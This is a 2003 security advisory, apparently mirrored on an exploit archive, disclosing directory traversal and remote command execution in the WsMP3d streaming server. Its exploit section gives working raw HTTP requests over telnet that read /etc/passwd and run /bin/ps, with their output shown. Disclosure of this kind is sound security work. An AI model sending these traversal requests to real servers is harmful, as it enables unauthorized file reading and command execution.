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a-WsMPdvuln.txt

a-WsMPdvuln.txt
Posted May 23, 2003
Authored by Xpl017Elz | Site inetcop.org

INetCop Security Advisory #2003-0x82-017.a - WsMP3d, a web server that streams MP3s much like shoutcast but is GPL, suffers from a directory traversal vulnerability that not only allows viewing of files outside of the webroot, but allows for remote command execution as well.

tags | exploit, remote, web
SHA-256 | bc72d07b2004ab7e987341e534050ec07ea4699fd37effc980c5656ccf6a0bd6

a-WsMPdvuln.txt

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==========================================
INetCop Security Advisory #2003-0x82-017.a
==========================================


* Title: WsMP3d Directory Traversing Vulnerability


0x01. Description


WsMp3d is daemon that can enjoy mp3.
This daemon can approach in web, directory traversing bug exists.
Also, can execute command in remote.


0x02. Vulnerable Packages


Vendor site: http://wsmp3.sourceforge.net/

WsMp3-0.0.10.tar.gz version.
+Linux
WsMp3-0.0.9.tar.gz version.
WsMp3-0.0.8.tar.gz version.
web_server-0.0.7.tar.gz version.
web_server-0.0.6.tar.gz version.
web_server-0.0.5.tar.gz version.
web_server-0.0.4.tar.gz version.
web_server-0.0.3.tar.gz version.
web_server-0.0.2.tar.gz version.
web_server-0.0.1.tar.gz version.


0x03. Exploit


#1) Directory traversing exploit:

As following, see file in directory.

http://wsmp3.server.com/cmd:ls

In this way, use directory that know.

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
GET /dir/../../../../../../etc/passwd HTTP/1.0

... passwd file here ...

Ok, it's possible to read `/etc/passwd' file !
If it's executed by root ?? hehehe ;-)

#2) Remote execute command exploit:

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
POST /dir/../../../../../../bin/ps HTTP/1.0
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Date: Sat May 03 01:25:28 2003
Last-Modified: Sat May 03 01:25:28 2003
Content-Length: 201

PID TTY TIME CMD
29529 pts/2 00:00:00 login
29559 pts/2 00:00:00 su
29560 pts/2 00:00:00 bash
29681 pts/2 00:00:10 WsMp3
29730 pts/2 00:00:00 WsMp3
29731 pts/2 00:00:00 ps
Connection closed by foreign host.
bash$


0x04. Patch


It can solve as chroot() function. :-)


P.S: Sorry, for my poor english.

--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--

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